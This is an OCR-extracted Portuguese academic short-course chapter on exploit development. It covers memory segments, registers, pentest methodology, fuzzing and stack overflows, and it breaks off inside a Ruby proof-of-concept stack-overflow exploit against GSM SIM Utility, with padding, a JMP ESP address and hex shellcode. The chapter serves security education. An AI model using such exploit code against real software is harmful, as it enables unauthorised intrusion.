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Abstract

The growing occurrence of cyberattacks has increased the scientific community interest
and the amount of organizations investment in the search for new solutions capable of
dealing with these hacking techniques of computational systems. Among these
techniques, the development of exploits has been highlighted by several authors as one
of the main attacker’s weapons in the last decades. For this reason, the development of
these artifacts has also been incorporated by security analysts to their penetration test
methodologies, as a strategy to prevent attacks, contributing to the research of new
defense mechanisms. This chapter provides insight into the exploit development
techniques and its use in the building of malicious artifacts effective in the impairment
of computational systems.

Resumo

O crescimento da ocorréncia de ataques cibernéticos tem elevado o interesse da
comunidade cientifica e os investimentos de organizagdes na busca por novas solucoes
gue sejam capazes de lidar com essas técnicas de invasio de sistemas computacionais.
Entre essas técnicas, o desenvolvimento de exploits vem sendo destacado por diversos
autores como uma das principais armas dos atacantes nas Ultimas décadas. Por esse
motivo, o desenvolvimento desses artefatos tem sido incorporado também por analistas
de seguranca as metodol ogias de testes de penetracdo, como estratégia para prevencao
de ataques, contribuindo para a pesquisa de novos mecanismos de defesa. Este capitulo
fornece subsidios para o entendimento das técnicas de desenvolvimento de exploits e o
Seu emprego na construcao de artefatos maliciosos efetivos no comprometimento de
sistemas computacionais.
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1.1. Introducéao

Os profissionais que trabalham com a execucdo de testes destinados a levantar
vulnerabilidadest em sistemas acabam invariavelmente se deparando com questdes
ligadas a validade de suas actes. Afinal, esses procedimentos sdo executados através das
mesmas técnicas empregadas por pessoas com inten¢des maliciosas.

Apesar de algumas dessas acoes serem justificadas por “boas intengdes’, autores
como Wilhelm [Wilhelm, 2009] e Engebretson [Engebretson, 2011] concordam que &
necessario uma permissdo clara dagueles que seréo objeto do teste invasivo para
diferenciar um teste de penetragdo legitimo de uma tentativa de invasdo maliciosa.

Tratados coletivamente como “Hackers’, este grupo é subdividido normalmente
em duas categorias [Wilhelm, 2009]: Black Hat Hackers — individuos que executam
ataques ndo autorizados contra sistemas de informac&o, motivados por ganho material
ou financeiro, por mera curiosidade, ou ainda por questdes politicas e religiosas. Sgja
qual for o motivo, entretanto, todos estdo sujeitos a agdes legais por parte dagueles que
foram alvo de seus ataques; White Hat Hackers — individuos que executam avaliacOes
de seguranca com base em contratos formais, trabalhando em companhias responsaveis
pela melhoria das caracteristicas de seguranca dos ambientes computacionais de seus
clientes ou procurando vulnerabilidades que poderiam ser exploradas em ataques
malici0sos.

Ferramenta comum em processos invasivos que exploram falhas de seguranca de
um sistema, um exploit? é construido por profissionais da érea de seguranca para validar
e demonstrar a efetividade de uma vulnerabilidade especifica, passando, nesse caso, a
ser chamado também de “ Prova de Conceito” (PoC — Proof of Concept).

O objetivo deste minicurso é fornecer aos participantes subsidios para o
entendimento das técnicas de desenvolvimento de exploits e 0 seu emprego na
construgdo de artefatos maliciosos efetivos no comprometimento de softwares
executados em sSistemas operacionals modernos. Assim, esperase difundir os
conhecimentos necessarios para a formagdo de futuros White Hat Hackers, que
trabalhardo para a melhoria da seguranca das instituicbes e daqueles que delas
dependem para execucao segura de suas atividades.

1.1.1. Contexto

No primeiro paragrafo do livro “Como quebrar cédigos. a arte de explorar (e proteger)
software”, os autores atribuem ao software a alcunha de “Calcanhar-de-Aquiles’ dos
sistemas modernos, conforme destacado no trecho “a invasdo de uma méaguina quase
sempre envolve a exploragdo do software” [Hoglund e Macgraw, 2006]. Em um
relatorio elaborado pelo comité consultivo sobre tecnologia da informagdo para o

! Vulnerabilidade é uma falha (também conhecido como bug), presente na seguranca de um elemento do
sistema, que pode ser utilizada por um atacante para deturpar o comportamento esperado deste elemento
(normalmente uma componente de software), sujeitando o sistema afetado a problemas como
indisponibilidade, obtencdo indevida de acessos privilegiados e controle externo por individuos néo
autorizados.

2 Exploit: esse termo se refere tanto ao ato de tomar vantagem de uma vulnerabilidade presente em um
sistema, como também é usado paraidentificar a ferramenta desenvolvida para explorar a vulnerabilidade.
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presidente dos Estados Unidos [EUA, 2005], os consultores também destinaram duas
secOes do documento intituladas “O software é a maior vulnerabilidade” e “Atagues e
vulnerabilidades estdo crescendo rapidamente” para destacar o software como o €lo
mais fraco da cadeia de componentes avejados por atacantes e apontar a escalada de
atos hostis contra sistemas computacionais em todo o mundo.

De fato, € possivel comprovar essas afirmagfes ao constatar-se que a medida que
a quantidade e a complexidade dos softwares aumenta, eleva-se também o volume de
vulnerabilidades identificadas e 0 nimero de invasdes a sistemas computacionais
reportadas, conforme estatisticas disponibilizadas pelo CERT/CC [CERT/CC, 2011] e
apresentada na Figura 1.1.
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Figura 1.1. Nimero de vulnerabilidades reportadas ao CERT/CC entre 1995 e 2008° [CERT/CC, 2011].

Conforme destacam Hoglund e McGraw [Hoglund e Macgraw, 2006], as
exploracdes de buffer4 overflow® sdo as principais armas dos atacantes e, provavel mente,
tendéncia deve permanecer por véarios anos. Segundo Anley et a. [Anley et al.,
2007], aprimeirareferénciaformal atécnica de buffer overflow foi apresentada em 1996
por Aleph One, em seu artigo intitulado “Smashing the Stack for Fun and Profit”
(Estourando a pilha por diversdo e profissdo) [One, 1996], onde o autor descreve em
detalhes os passos para a exploracéo de vulnerabilidades de stack overflow (estouro de
pilha). Pilha, heap, “.data” e “.text” sd0 0s seguimentos de memdria de um processo,
conforme explicado na secdo 1.1.2. De maneira simplificada, o estouro de pilha é o
exemplo de buffer overflow mais discutido na literatura, caracterizando-se pela
ultrapassagem dos limites de uma variavel aocada na pilha, 0 que acarreta a sobrescrita
do endereco de retorno da funcéo e o consequente desvio do fluxo de execucdo do
programa para um enderego arbitrario escolhido pelo atacante.

Além de ser a primeira técnica de buffer overflow detalhada em uma publicacéo
cientifica, o estouro de pilha foi também a primeira vulnerabilidade explorada em um
ataque de larga escala, produzido por Morris Worm, em 1988, quando pelo menos uma

*O valor relativo ao ano de 2008 é uma estimativa baseada nos 3 primeiros trimestres. Apés esse periodo,
0 CERT/CC encerrou a publicacdo das estatisticas referentes ao nimero de vulnerabilidades catal ogadas.
* Buffer: um espago de memoéria limitado e continuo.

> Overflow: transbordamento (também chamado de “estouro”) do espaco disponivel.
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em cada vinte maguinas conectadas a Internet foi comprometida [Orman e Streak,
2003]. Desde entdo, uma série de variantes de atagues de buffer overflow foi
desenvolvida, de maneira a explorar também os demais segmentos de memaria de um
processo [Werthmann, 2006].

Apesar de provavelmente serem as vulnerabilidades mais conhecidas e
publicamente documentadas, os estouros de pilha ainda prevalecem nos softwares
produzidos atualmente, em relacdo as demais falhas de seguranca [Anley et al., 2007].
Independente da frequéncia em que sdo exploradas, todas as brechas tornam-se cada vez
mais severas, a medida que computadores, telefones celulares e outros dispositivos
portéteis proliferam-se globamente [EUA, 2005].

1.1.2. Gerenciamento de Meméria

Como a maioria dos problemas de seguranca tratados neste minicurso derivam de
operacOes de manipulacdo do espaco de memoria de um processo, serdo analisados 0s
fundamentos béasi cos a respeito do gerenciamento de memoria.

Todas as informagdes fornecidas dizem respeito a arquitetura Intel de 32 bits,
conhecida como x86 ou IA32. Apesar da popularizacdo dos sistemas operacionais de 64
bits, muitas aplicacdes ainda sdo desenvolvidas em 32 bits. A compatibilidade entre as
versdes é garantida por componentes do proprio sistema operacional. Por exemplo, no
caso das versdes do sistema Windows, existe a camada WoW (Windows on Windows)
[Johny et al., 2012][MSDN, 2012], que emula a arquitetura x86 de forma transparente
para o usuério, permitindo que aplicacbes de 16 ou 32 bits executem nas versdes de 64
bits desse sistema.

Quando um programa é executado, seus componentes sdo mapeados para um
espaco de memoéria, designado para este fim pelo sistema operacional. Esse espaco
reservado é utilizado para 0 armazenamento tanto das instrugdes que serdo executadas
como dos dados (variaveis) que serdo processados.

De forma mais detalhada, esse espaco € subdividido em quatro segmentos, como
mostrado na Figura 1.2. O segmento .data é reservado para 0 armazenamento das
varidvels estéticas e 0 segmento .text corresponde as instru¢bes do programa. Ambos
possuem um tamanho fixo. Por fim, existem as estruturas de pilha (stack) e o heap. A
primeira € responsavel pelo armazenamento de variaveis locais (pertencentes ao escopo
de uma Unica funcdo) e pelo registro de metadados usados pelo processador para
controlar chamadas de fungdes. O heap € responsdvel pelo armazenamento de varidveis
alocadas dinamicamente.

area néo alocada

'
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Instrugbes Variaveis globais Variaveis globais  Variaveis locais e parametros de fungbes
do programa estaticas dindmicas Meta dados (ex: enderegos de retorna)

Figura 1.2. Organizagdo do espaco de memaria de um processo [Maziero, 2011].
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E importante destacar que a pilha funciona segundo um modelo LIFO (Last In
First Out — Ultimo a Entrar Primeiro a Sair), no qual os Ultimos valores empilhados sio
0s primeiros a serem desempilhados. Além disso, ao contrério do heap, que cresce do
menor para 0 maior endereco, a pilha cresce do maior para o0 menor endereco. Esse
comportamento de “crescimento” apresentado pela pilha e pelo heap, associado ao fato
de que, do ponto de vista dos computadores modernos, ndo existe uma verdadeira
distincdo entre instrucdes e dados, € que possibilita a acéo de exploits.

1.1.3. Registradores

A manipulacdo de registradores € um elemento fundamental no processo de criacéo de
exploits. Para esse fim, merecem destaque 0s seguintes registradores:

a) ESP (Extended Stack Pointer): um registrador acessivel pelo programa, que
armazena o enderego de memoria correspondente ao topo da pilha. Sua manipulacéo é
muito importante na aplicacdo de técnicas de estouro de pilha (stack overflow);

b) EIP (Extended Instruction Pointer): um registrador de controle, acessivel
somente pelo processador, responsavel por armazenar o endereco da proxima instrugéo
que sera executada. Induzir a ateracdo do valor desse registrador torna possivel a
subversdo do fluxo de execucéo do programa, o que é fundamental para a criacdo de um
exploit efetivo.

Esses registradores podem ser manipulados através de instrucbes em linguagem
de montagem (assembly). Assim, alguma familiaridade com esse conjunto de instrugdes
€ necesséria.

1.1.4. Testesde | nvasao®

Teste de invasdo legitimo (também conhecido como pentest, ethical hacking ou white
hat hacking) € definido como uma tentativa autorizada de localizar e invadir sistemas
computacionais, com o proposito de tornar esses sistemas mais seguros [Engebretson,
2011]. Tas testes se diferenciam de outras formas de avaliagdo, pois ndo consistem
apenas do levantamento de ameacas em potencial, mas também da €efetiva construcéo
das ferramentas necessérias e da execugdo propriamente dita do atague invasivo,
gerando uma PoC cujo objetivo € demonstrar a possibilidade de consolidacéo do atagque.

Apesar do impeto para iniciar um procedimento de teste de invasdo direto pela
fase de desenvolvimento de um exploit, uma vez que normalmente essa € a atividade
mais interessante em um pentest, quanto melhor for a preparacdo e o plangiamento
prévio dessa atividade, maiores seréo as possibilidades de sucesso. A metodologia ZEH
(Zero Entry Hacking) € um modelo simples de quatro etapas [Engebretson, 2011],
destinada a orientar o processo de plangamento, preparacéo e execucdo de todas as
acOes associadas a0 teste de penetracdo. A cada nova etapa, 0 processo entra
sucessivamente em um novo nivel de detalhe, até que sgja identificado o objeto de
estudo do teste, conduzindo de forma clara as agdes do responsével pela atividade.

A metodologia ZHE é dividida em:

¢ Alguns autores utilizam também o termo “Testes de Penetracdo”. Neste trabalho, as duas expressdes
serdo usadas de maneiraintercambiavel.
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a) Reconhecimento, onde deve ser levantada a maior quantidade possivel de
informagdes a respeito do objeto de ataque, aém de definir as estratégias que seréo
empregadas e o plangamento de todas as a¢es que serdo executadas,

b) Varredura, onde se identificam as vulnerabilidades especificas dos servigos
ou elementos de software que serdo a base das aghes invasivas executadas na fase
seguinte;

c) Exploracéo, onde todas as informagbes colhidas nas etapas anteriores sdo
utilizadas para a execucéo do ataque propriamente dito, tendo como principal meta
utilizar as fahas ou vulnerabilidades identificadas anteriormente para alterar o
comportamento natural de um software, de forma a obter acesso e controle do sistema
que foi avo dainvasao;

d) Manutencdo do Acesso, onde 0 atacante vai garantir a continuidade do
acesso a0 sistema invadido (normalmente através do uso de ferramentas como
backdoors e rootkits), evitando que todo o0 processo de invaséo tenha que ser executado
novamente em um acesso posterior a0 sistema invadido. Essa etapa pode ser
considerada opcional, mas € necessaria para construir uma PoC que espelhe fielmente
0s ataquesreais.

Apesar de ndo congtituir oficialmente uma etapa da metodologia ZEH, a Ultima
tarefa do profissiona responséavel pelo teste de penetracdo é a elaboragdo de um
relatorio [Wilhelm, 2009] [Engebretson, 2011], onde serdo detalhadas as informactes
obtidas durante a execucdo do processo de ataque. Esse relatério deve ser escrito de
forma clara, contendo: @ um resumo executivo, com foco no corpo gerencial da
instituicdo que solicitou o teste; b) o detalhamento técnico de todo o processo invasivo;,
e, se possivel; ¢) uma descricdo das agdes necessarias para mitigar afalha e eliminar as
vulnerabilidades que o0 sistema apresenta.

1.1.5. Organizacédo do minicurso

Este minicurso esté organizado da seguinte maneira: a secdo 1.2 apresenta 0s principais
tipos de vulnerabilidades de softwares, como elas normalmente sd0 descobertas e quais
caracteristicas dessas fahas permitem a execucdo de codigos maliciosos; a se¢cdo 1.3
explica a origem histérica dos principais mecanismos de protecdo da memodria, seu
funcionamento e suas implicacBes para 0 desenvolvimento de exploits, a secéo 1.4
detalha as técnicas mais utilizadas para desenvolver exploits capazes de se aproveitar de
falhas de softwares mesmo em sistemas operacionais modernos que incluem protecoes
de memdria; e finalmente, a secdo 1.5 apresenta 0s objetos de pesquisa que devem
crescer em relevancia nos proximos anos, destacando as principais classes de
mecanismos de defesa em estudo e as tendéncias apontadas por pesquisadores da area,
além de apresentar os comentarios finais dos autores sobre o tema.

1.2. Explorag&o de Vulner abilidades

Esta secdo aborda os principais tipos de vulnerabilidades de softwares exploréaveis
através de exploits, como elas sd0 descobertas e quais caracteristicas dessas fahas
permitem a execucdo de codigos maliciosos. Entre os diversos mecanismos de
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identificacdo de defeitos em softwares, optou-se por detalhar a técnica de fuzzing. Em
seguida, é apresentado o conceito de shellcode, esclarecendo sua importancia para uma
exploracdo bem sucedida e as suas possibilidades de emprego. Finamente, sdo descritos
quatro tipos comuns de defeitos exploréveis em softwares (estouros de pilha, estouros de
heap, fahas de formatagdo de strings e sobrescrita de tratadores de excegéo
estruturados), analisando as caracteristicas que produzem cada uma das
vulnerabilidades, como evité-las e como explora-las para executar codigos arbitrarios.

1.2.1. Descobrindo vulner abilidades

Testes de invas&o tém por objetivo verificar a resisténcia dos sistemas em relagdo aos
métodos de ataque existentes. Diariamente sd0 descobertas novas falhas nos mais
variados sistemas, por isso € de fundamental importancia a realizacdo de auditorias
preventivas. Mais especificamente, os testes de invasdo podem dar um diagnéstico
fidedigno sobre a seguranca dos sistemas em quest&o.

Parte do processo de teste de penetragdo consiste em verificar se é possivel
detectar novas vulnerabilidades em um sistema. Porém, antes de iniciar esses testes, €
necessario realizar um plangjamento, ocasido em que € decidido qual tipo de teste sera
efetuado. De acordo com Michael [Sutton et al., 2007], o teste para o descobrimento de
vulnerabilidades pode ser classificado como caixa preta ou caixa branca.

Nos testes caixa branca, o testador tem acesso irrestrito a qualquer informagéo
gue possa ser relevante ao teste, tais como informacdes sobre 0 ambiente ou dados sobre
os servidores. Essas informagdes incluem os codigos fonte das aplicacdes, que podem
ser analisados utilizando ferramentas de depuracéo (debug). Em um teste caixa preta, ha
pouco ou nenhum conhecimento prévio sobre o ambiente a ser avaliado, e tudo deve ser
descoberto pelo testador.

Embora nenhuma metodologia consiga sozinha garantir que ndo existem
vulnerabilidades em uma aplicacdo, [Sutton et al., 2007] a cobertura alcancada pelos
testes caixa branca é maior. 1sso ocorre principalmente pelo fato do testador possuir o
codigo fonte do sistema, possibilitando uma revisdo do codigo. Dessa forma, os diversos
caminhos que o cédigo executa podem ser auditados na procura por vul nerabilidades.

Entre as desvantagens inerentes aos testes caixa branca, pode-se citar a
complexidade de se fazer uma revisdo completa do cédigo. 1sso ocorre porque existem
vérias linguagens de programacd0 e, na maioria das vezes, 0s Sistemas Sd0
desenvolvidos sem seguir um padréo.

Nos testes de caixa preta, 0 comportamento da aplicacdo € analisado atraveés das
suas entradas. Nesse tipo de teste, os fluxos de execucdo sdo testados de maneira
indireta, visto que o testador ndo tem acesso ao codigo fonte.

Entre as vantagens dos testes caixa preta, pode-se citar a disponibilidade, pois
esse tipo de teste pode ser executado em qualquer aplicacdo. A possibilidade de
reproducdo dos testes em outros cenarios também € uma vantagem. Um teste feito em
um servidor FTP, por exemplo, pode ser reproduzido em outros servidores que operem o
mesmo protocolo. Por fim, a simplicidade € uma vantagem dos testes de caixa preta,
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pois esse tipo de teste pode ser conduzido sem um conhecimento prévio de como a
aplicagao funciona internamente.

Entre as desvantagens dos testes caixa preta, encontra-se a cobertura dos testes.
E dificil determinar se o teste foi efetivo, pois ndo ha como garantir que todos 0s
possiveis fluxos de execucdo previstos na aplicacdo foram explorados. Outra
desvantagem ocorre em relacdo a inteligéncia dos testes. Os testes de caixa preta séo
mais apropriados para atagues simples, que utilizam apenas um vetor de entrada.
Atagues complexos, com varios vetores, sdo dificeis de ser elaborados e detectados.

Dentre muitas alternativas na busca por vulnerabilidades nos software, a
abordagem de caixa preta denominada Fuzzing € uma das mais utilizadas. Trata-se de
um método de testes de software onde a aplicacdo é bombardeada com casos de testes
gerados por outro programa [McNally et al., 2012].

A ideia desse método é verificar o comportamento do software nos casos em que
0 sistema recebe entradas mal formadas ou fora do padréo esperado. Isto possibilita a
descoberta de vulnerabilidades a partir de combinagdes de entradas ndo testadas
originamente pelo desenvolvedor.

De acordo com [McNaly et a. 2012], fuzzing permite descobrir
vulnerabilidades no sistema através de um monitoramento das excegdes langadas pelo
programa. E um processo geralmente automatizado, que envolve a manipulacio dos
campos de entrada da aplicacdo. A técnica é dividida em duas categorias. fuzzing
baseado em mutacéo e fuzzing baseado em geracéo.

No fuzzing baseado em mutagdo, os dados séo coletados da aplicacdo e depois
modificados. Essa mutacdo pode ser efetuada de forma aeatéria ou através de uma
heuristica. No fuzzing baseado em geracdo, um modelo para os dados de entrada
especifica como os casos de testes devem ser criados [Miller e Peterson, 2007].

A forma de condugdo da metodologia fuzzing depende de varios fatores, como a
habilidade do testador e a complexidade da aplicacdo. No entanto, de acordo com
[Sutton et al., 2007], em gera a aplicagdo dos testes ocorre em seis etapas, conforme
descrito a seguir:

a) ldentificacdo do alvo — o testador procura por dados sobre 0 sistema a ser
explorado, para encontrar informagdes relevantes que g udem na conducdo do teste.

b) Identificacdo das entradas — nesta etapa, o testador procuraidentificar todas
as interfaces e campos de entrada para 0 sistema alvo. Entre outras possibilidades,
podem ser utilizados como vias de entrada de dados. soquetes (sockets) de rede,
variaveis de ambiente, arquivos, argumentos da linha de comandos e interfaces remotas.

c) Geracao de dados — a terceira fase € a responsavel pela geracéo das entradas
que serdo utilizados durante o fuzzing. A decisdo de utilizar fuzzing baseado em mutagcéo
ou fuzzing baseado em geracgéo depende do alvo e das informagdes col etadas.

d) Execucéo dos dados — nesta etapa, as entradas geradas no passo anterior so
transferidas para a aplicacdo. Esse processo pode envolver o ato de enviar pacotes de
dados ao alvo, abrir arquivos, enviar argumentos pela linha de comandos, etc.
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€) Monitoramento das excecOes — esse passo € responsavel por colher as
informagdes das excegOes geradas no passo anterior. O tipo de falha ocasionada e o
estado da aplicacdo apOds a ocorréncia do erro determinard a estratégia de
desenvolvimento de exploit a ser adotada.

f) Determinacdo dos exploits — na ultima fase do fuzzing, as informagdes
colhidas no passo anterior sd0 estudadas para determinar se vulnerabilidades
identificadas podem ser exploradas por algum tipo de exploit.

1.2.2. Explorando falhas em softwar es

Esta secéo apresenta um conceito fundamental em exploits, o shellcode. Sera explicado
0 Seu uso e importancia para o funcionamento de um exploit. Além disso, serdo
detal hados quatro tipos comuns de defeitos exploréavels em softwares. estouros de pilha,
estouros de heap, falhas de formatacéo de strings e sobrescrita de tratadores de excegéo
estruturados.

Existem outros tipos de defeitos exploréaveis em softwares, como uso apos
liberacdo (use after free) [Anley et a., 2007], estouro de inteiros (integer overflow)
[Blexim, 2002], atagques a senhas (password attacks) [Young e McHugh, 1987], ataques
a ponteiros (pointer attacks) [Conover, 2002] e estouros de memoria “fora por um” (off
by one buffer overflow) [SANS, 2012]. Esses defeitos ndo serdo detalhados neste
minicurso.

1.2.2.1. Shellcode

Shellcode € um conjunto de instrucfes, tipicamente escritas em assembly, que sdo
injetadas e executadas por um programa através de um exploit [Anley et al., 2007]. Sdo
codigos interpretados pelo processador como instrugdes, quando um exploit € bem
sucedido.

A palavra shell, contida em seu nome, tem origem no fato de que, normalmente,
um shellcode é usado para abrir um shell (linha de comandos) da méquina atacada.
Antigamente, na maioria dos casos, um shell de comando era disponibilizado depois que
todas as instrugbes fossem executadas. Por isso esse artefato recebeu o nome de
shellcode [Kennedy et al., 2011].

Os shellcodes normalmente sdo representados através de uma cadeia de valores
em hexadecimal, para serem manipulados e injetados no programa avo. Atuamente,
existem diversos tipos de shellcode, disponiveis para os mais variados tipos de sistemas
e arquitetura. De acordo com Anwar [Anwar, 2009], para funcionar adequadamente, um
shellcode deve ser desenvolvido seguindo as seguintes premissas:

a) Deve ser pequeno, pois geralmente 0 espaco que o atacante possui para injetar
0 codigo no buffer € limitado;

b) N&o deve possuir bytes nulos (0x00), pois esse valor € um delimitador de
string nalinguagem C. Se a entrada maliciosa for recebida na forma de um string, o byte
nulo causarg ainterrupcdo daleitura do shellcode;
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c) Deve ser escrito em codigo hexadecimal, para representar diretamente os
bytes a serem gravados na memoria;

d) Deve ser especifico para um ambiente computacional (hardware e sistema
operacional). Os shellcodes desenvolvidos para os sistemas operacionais Windows, por
exemplo, ndo funcionam em sistemas Linux, pois, entre outras coisas, as chamadas de
sistema sdo diferentes.

A meta de um shellcode é fazer com que um programa vulnerédvel funcione
como uma porta de acesso ao sistema operacional hospedeiro. A maneira mais fécil de
interagir com o sistema operacional € através de suas chamadas de sistema (syscalls).
Por isso, normalmente os shellcodes preparam 0s parametros para a execucdo de
chamadas de sistema que possibilitem 0 acesso ao sistema avo.

1.2.2.2. Transhordamentos de meméria

Esta secdo fornece uma breve explicacdo de uma das técnicas mais usadas pelos
atacantes para explorar vulnerabilidades no software, o buffer overflow (estouro ou
transbordamento de memoria).

Como mencionado anteriormente, buffers sdo por¢cbes de memoria, com
tamanho definido, usados para armazenar algum dado. Um transbordamento de
memoria consiste em estourar a capacidade do buffer, inserindo mais informacéo do que
ele é capaz de armazenar. 1sso faz com que os dados sejam inseridos em espacos de
memoéria além do limite previsto (tamanho do buffer) [Ulbrich, 2009]. Basicamente,
existem dois tipos de transbordamentos de buffer: stack overflow (estouro da pilha) e
heap overflow (estouro do heap).

Estouro da pilha

Na maioria das linguagens de programacdo de alto nivel, o codigo € quebrado
em fragOes menores para que 0s desenvolvedores possam chamar a mesma fungéo em
vérias partes do programa, conforme indicado na Listagem 1.1.

Listagem 11. Exemplo de divisao de codigo em funces.

1 void func(char * entrada)({ 6 1int main(int argc, char ** argv){
2 char buffer[5]; 7 func(argv[l]);

3 strcpy(buffer, entrada); 8 return 0;

4 return; 9 }

5 1}

Nesse exemplo, a fun¢gdo main chama a fungdo func para executar algum
processamento e, posteriormente, retornar o fluxo de execucdo para a funcdo main.
Durante essas chamadas entre fungdes, parametros e metadados precisam ser salvos em
algum lugar, para que o fluxo de execucdo possa fluir entre as fungdes [Ulbrich, 2009].
Esse lugar é 0 segmento de pilha, apresentado na se¢do 1.1.2. A Figura 1.3 ilustra o
estado da pilha antes da chamada de uma fungado e apos a conclusdo da transferéncia do
fluxo de execucéo para afuncdo chamada.
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de meméria: ¢o de memoria:

Cr i t p
stack pointer ———
da Pilha —
A Frame da
Funcgao variaveis da fungao chamada
- Chamada
base pointer ——»—_
Apés base pointer da fungio chamadora
chamada de
fungao... enderego de retorno
rr’ argumento-1 para a fungao chamada
SR argumento-2 para a fungdo chamada
Frame da variavel-2 da funcao chamadora rr Frame da variavel-2 da fungao chamadora
Funcao Funcao
- Chamadora variavel-1 da fungao chamadora Chamadora variavel-1 da funcao chamadora
base pointer —»- Apos retorno

da fungéo...
de meméria: ¢ Go de memoria:

Figura 1.3. Estado da pilha durante chamadas e retornos de funcfes.

Analisando a Figura 1.3, € possivel observar os efeitos na pilha causados pelas
instrucdes executadas durante os processos de chamada e retorno de uma funcéo. Em
uma chamada de funcgéo, a pilha é organizada seguindo os seguintes passos:

a) antes de executar a instru¢do assembly de chamada da fungdo (CALL), sdo
executadas instrugdes que empilham os parametros para a funcdo a ser chamada (ex:
PUSH);

b) ao executar uma instrugdo CALL (chamada de fungdo), o processador
empilha o endereco de retorno (endereco da instrucdo subsequente a instrucdo de
chamada da funcéo);

) o processador desvia o fluxo de execucéo para a primeira instrucao da funcéo
chamada;

d) uma instrugdo que empilha o endereco base (EBP — base pointer) do frame
pertencente a funcéo chamadora é executada (PUSH EBP);

€) umainstrucdo que atualiza o base pointer é executada, fazendo-o apontar para
o inicio do frame pertencente a funcéo chamada (MOV EBP, ESP);

f) uma instrucdo que atualiza o ponteiro para o topo da pilha (ESP — stack
pointer) é executada, alocando espago para as varidveis locais pertencentes a funcéo
chamada (ex: SUB ESP, valor);

Apds a execugdo desses passos, a pilhailustrada na parte esquerda da Figura 1.3
se transforma na pilha apresentada na parte direita da mesma figura. Depois de concluir
todo o procedimento de retorno da funcdo chamada, a pilha retorna ao estado indicado
no canto esquerdo da Figura 1.3. O processo de retorno de uma fungdo consiste em
realizar as operacOes inversas ao procedimento de chamada de uma funcdo. Dessa
forma, em um retorno de fungéo, a pilha é organizada seguindo os seguintes passos:

a) depois de executar as instrugdes previstas em seu codigo e antes de retornar, a
funcdo chamada faz o stack pointer apontar novamente para o endereco onde foi
armazenado o base pointer pertencente a fungdo chamadora (MOV ESP, EBP);

b) uma instrugdo que desempilha o base pointer pertencente a fungcdo chamadora
¢ executada (POP EBP);

¢) o processador executada uma instru¢do que desempilha o endereco de retorno
armazenado na pilha e desvia o fluxo de execugdo para esse endereco (RET — return).
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Caso existam parametros, essa instru¢do também indica a quantidade de pardmetros a
serem removidos da pilha (ex: RETN 0x08, para desempilhar 8 bytes).

Se tomarmos o codigo apresentado na Listagem 1.1 como exemplo, umavez que
ndo existe checagem do tamanho da entrada, caso o usuario informe uma string maior
do que o buffer alocado dentro da fungé@o “func”, ocorrerd um estouro de buffer. As
areas adjacentes a esse buffer na pilha seréo sobrescritas. Se o tamanho da string de
entrada for suficientemente grande, ela podera sobrescrever o endereco de retorno
anotado na pilha por ocasido da chamada da funcdo. Assim, um atacante € capaz de
subverter o fluxo de execucdo do programa, desviando-o para um endereco de sua
escolha.

A Figura 1.4 ilustra o estado da pilha ap6s a ocorréncia de um transbordamento
de pilha com sobrescrita do endereco de retorno. Esse artificio tem sido usado pelos
atacantes para obter o controle da execucdo do programa, adaptando a entrada do
usuario de maneira a sobrescrever o enderegco de retorno e fazer com que o programa
execute um codigo arbitrario, o shellcode.

Note que o atacante pode continuar sobrescrevendo toda a regido da pilha,
ultrapassando a posicdo onde o endereco de retorno se localiza. Repare também que,
apos retornar da fungdo, o ponteiro para o topo da pilha (ESP — stack pointer) referencia
a area logo abaixo da posicdo onde os parametros haviam sido anotados. Por conta
disso, em falhas de transbordamento da pilha, usualmente o shellcode é posicionado
nessa regido, conforme ilustrado na Figura 1.4. Assm, a fim de desviar o fluxo de
execucao para o inicio do shellcode, os atacantes formatam a entrada de maneira que o
endereco de retorno seja sobrescrito com o endereco de algumainstrucéo “JMP ESP”.

Enderego de meméria: 0x00000000

stack pointer -

AAAA
Frame da AAAA
Funcao variaveis-dafungdo-chamada AAAA
Chamada AAAA N
base pointer > AAAA Gravagao
- ~ dos dados
base-pointer-da-fungio-chamadera aaaa de entrada
enderego-deretorae EEEE»Endereco de
JMP ESP
argumento--para-afunciochamada AAAA
Crescimento
da Pilha argumento-2 para-afungaochamada AAAA r_J
A
- > Frame da Vvaridvel-2-dafungio-chamadora SHELL
Funcao CODE

Chamadora variavel-1-dafuncaochamadora

S— Enderego de meméria: 0xFFFFFFFF

Figura 14. Estado da pilha apds transbordamento com sobrescrita do enderego de retorno.

A seguir é apresentado um exemplo de exploit que utiliza a técnica de estouro de
pilha’. Nesse artefato, € explorada uma vulnerabilidade no software GSM SM Utility.
Essa vulnerabilidade foi divulgada em 07 de julho de 2010, juntamente com a PoC
apresentada abaixo.

7 http://www.exploit-db.com/expl 0its/19625
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Esse exploit foi desenvolvido na linguagem Ruby. Nas trés primeiras linhas, trés
variaveis sdo inicializadas. Uma variavel chamada “crash” € preenchida com 810 bytes
correspondentes ao caractere “A”. 1SS0 € necessario para preencher o espaco entre o
inicio do buffer e o endereco de retorno que sera sobrescrito. Apesar de ser comum
encontrar exploits que utilizam o caractere “A” para transbordar o buffer, qualquer byte
aceito como entrada pela aplicacdo pode ser usado com essa finalidade.

Apés isso, a varidvel “eip” € inicidlizada com o vaor “0x01524000", que
representa o endereco de umainstrucdo “JMP ESP”. Esse é o vaor que ird sobrescrever
0 endereco de retorno e, assim, causar o desvio do fluxo de execugdo. Por fim, uma
varidvel chamada “nop” € preenchida com 10 bytes de valor 0x90. Esse valor
corresponde ao codigo de operacdo (opcode) da instrucdo NOP (No Operation). Essa
instrucéo ndo executa qualquer operacdo e apenas indica que a instrucéo subsequente
deve ser executada. Ao saltar para o inicio dessa sequéncia de instrugdes NOP (JIMP
ESP), o processador sera guiado até a posi¢ao onde se encontra o shellcode.

Listagem 1.2. Exploit que usa a técnica de estouro de pilha para executar o shellcode.

1 crash = "A" * 810 18 "0Obba8a24dbc871c2452e85effffff"+
2 eip = "01524000" #jmp esp 19 "68703058206820636861686420627"+
3 nop = "90" * 10 20 "96861697465684578706c31db885c"+
4 #message box 21 "241289e3686858202068446561746"+
5 code ="d9eb9bd97424f431d2b27a31c9648"+ 22 "820697320682053696e6873206166"+
6 "b71308b760c8b761c8b46088b7e20"+ 23 "6857616765685468652031c9884c2"+
7 "8b3638411875f35901d1ffel608b6"+ 24 "41989e131d252535152ffd031c050"+
8 "c24248b453c8b54057801ea8b4al8" "+ 25 "ff5508"

9 "8b5a2001ebe337498b348b01lee31f"+ 26

10 "f31cOfcac84c0740aclcf0dO0lc7e9"+ 27 payload = crash + eip + nop + code

11 "f1ffffff3b7c242875de8b5a2401e"+ 28

